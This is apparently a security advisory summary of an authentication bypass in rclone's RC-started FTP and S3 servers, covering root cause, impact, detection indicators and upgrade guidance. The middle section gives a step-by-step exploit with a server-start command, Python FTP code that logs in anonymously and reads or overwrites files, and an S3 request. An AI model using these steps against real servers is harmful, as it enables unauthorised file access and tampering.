CVE-2026-88044: 
Rclone vulnerability analysis and mitigation

CVE-2026-88044 is a critical authentication bypass vulnerability in rclone's RC (remote control) serve/start interface, affecting versions 1.70.0 through 1.75.0. The flaw causes FTP and S3 server constructors to check the process-global proxy.Opt.AuthProxy value instead of the per-request proxyOpt.AuthProxy value, silently ignoring any authentication proxy configured via the RC interface. This allows unauthenticated network access to FTP servers (via anonymous login with any password) and incorrect backend routing for S3 servers. The vulnerability was reported by researcher cyberlanc3r, published on September 4, 2026, and carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory, rclone Security Advisory).

The root cause is a logic flaw (CWE-863: Incorrect Authorization) in the newServer constructors for both FTP (cmd/serve/ftp/ftp.go:202) and S3 (cmd/serve/s3/server.go:91). Both constructors branch on proxy.Opt.AuthProxy (the process-global variable) rather than the proxyOpt.AuthProxy argument passed from the per-request RC handler. When the global value is empty — the normal case when only the RC request configures the server — the condition evaluates to false, and both servers fall back to their fixed-backend modes. For FTP, the fallback defaults to username anonymous with an empty password, accepting any supplied password (cmd/serve/ftp/ftp.go:318-349). For S3, the fallback serves the fixed RC filesystem rather than routing the request through the proxy to the correct backend. Dedicated CLI-started servers that set the global option via command-line flags are not affected (rclone Security Advisory, Fix Commit).

For RC-started FTP servers, an unauthenticated remote attacker can read, create, overwrite, and delete any file in the filesystem supplied to serve/start, subject only to VFS read_only restrictions — constituting a complete authentication bypass. For RC-started S3 servers combining auth_key with proxy-based backend selection, any holder of a valid access key can access the fixed RC filesystem instead of the proxy-authorized backend, enabling cross-backend data disclosure or modification. If the served filesystem contains credentials, configuration files, or sensitive data, this vulnerability can serve as an initial access primitive enabling lateral movement or privilege escalation (rclone Security Advisory).

A proof-of-concept with detailed step-by-step reproduction instructions (shell scripts and Python code) is publicly available in the official security advisory (rclone Security Advisory). The NVD SSVC assessment classifies exploitation status as poc with total technical impact. There is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.49% (41st percentile), and the vulnerability is not currently listed in the CISA KEV catalog. Exploitation requires no authentication, no user interaction, and low attack complexity, but does require an operator to have deployed an RC-started FTP or S3 server with a per-server proxyOpt.AuthProxy configuration (GitHub Advisory).

1. Reconnaissance: Identify rclone RC daemon instances (default port 5572) and any exposed FTP (e.g., port 2121) or S3 (e.g., port 8080) listeners started via the RC serve/start interface on versions 1.70.0–1.75.0.
2. Trigger vulnerable server startup (if RC is accessible without auth): Send an HTTP POST to the RC endpoint to start an FTP server with a per-server auth proxy configured:

./rclone rc --url http://<target>:5572 serve/start \
  type=ftp fs=/path/to/root \
  proxyOpt='{"AuthProxy":"/path/to/proxy"}' \
  opt='{"ListenAddr":"0.0.0.0:2121","PassivePorts":"30000-30010"}'

3. Connect to FTP with anonymous credentials: Because the auth proxy is silently ignored, the FTP server falls back to accepting anonymous with any password:

import ftplib, io
ftp = ftplib.FTP()
ftp.connect("<target>", 2121, timeout=5)
ftp.login("anonymous", "arbitrary-password")  # Succeeds without invoking the proxy

4. Read sensitive files: Retrieve files from the fixed filesystem without authentication:

data = bytearray()
ftp.retrbinary("RETR secret.txt", data.extend)
print(data.decode())

5. Write or overwrite files: Upload attacker-controlled content to the served filesystem:

ftp.storbinary("STOR malicious.txt", io.BytesIO(b"attacker-controlled\n"))
ftp.quit()

6. S3 backend bypass (alternative): For S3 servers with auth_key and proxyOpt.AuthProxy, send a correctly signed S3 request using the known auth_key credentials; the server serves the fixed RC filesystem instead of the proxy-selected backend:

AWS_ACCESS_KEY_ID=validation-key AWS_SECRET_ACCESS_KEY=validation-secret \
aws --endpoint-url http://<target>:8080 s3api get-object \
  --bucket bucket --key fixed-secret.txt /tmp/result

(rclone Security Advisory)

• Network: Unexpected FTP connections (port 2121 or other RC-configured ports) with username anonymous; S3 API requests to RC-started S3 listeners from unexpected source IPs; HTTP POST requests to the RC endpoint (/serve/start) with proxyOpt containing AuthProxy.
• Logs: rclone RC access logs showing serve/start calls with type=ftp or type=s3 and a proxyOpt.AuthProxy parameter; FTP access logs showing successful anonymous logins followed by RETR, STOR, or DELE commands; absence of auth proxy invocation logs (e.g., the proxy script is never called despite FTP logins succeeding).
• File System: Unexpected new or modified files in the filesystem path supplied as fs to the serve/start RC command; files named by attackers (e.g., web shells, configuration overwrites) in the served VFS root.
• Process: rclone child processes spawning FTP or S3 listeners on non-standard ports without corresponding CLI --auth-proxy flags set; absence of the auth proxy subprocess being spawned despite active FTP sessions. (rclone Security Advisory)

Upgrade rclone to version 1.75.1 or later, which refactors VFS and proxy handling into a Provider abstraction that correctly checks proxyOpt.AuthProxy instead of the process-global value (rclone v1.75.1 Release, Fix Commit). As a temporary workaround for operators unable to upgrade immediately: avoid using the serve/start RC interface to start FTP or S3 servers that require authentication proxy enforcement; instead, use the dedicated CLI commands (rclone serve ftp / rclone serve s3) with the --auth-proxy flag set globally, which are not affected by this bug. Do not expose RC-started FTP or S3 listeners to untrusted networks on vulnerable versions (GitHub Advisory).

The vulnerability was covered by The Hacker Wire, which published a dedicated article on the rclone auth proxy bypass (The Hacker Wire). Italy's CSIRT issued multiple advisories referencing the vulnerability. Detection plugins were released by Tenable (Nessus plugin 344709, cloud security plugin 447953) and Qualys (plugin 5018083), indicating rapid uptake by the vulnerability management community. No significant threat actor attribution or active exploitation campaigns have been publicly reported.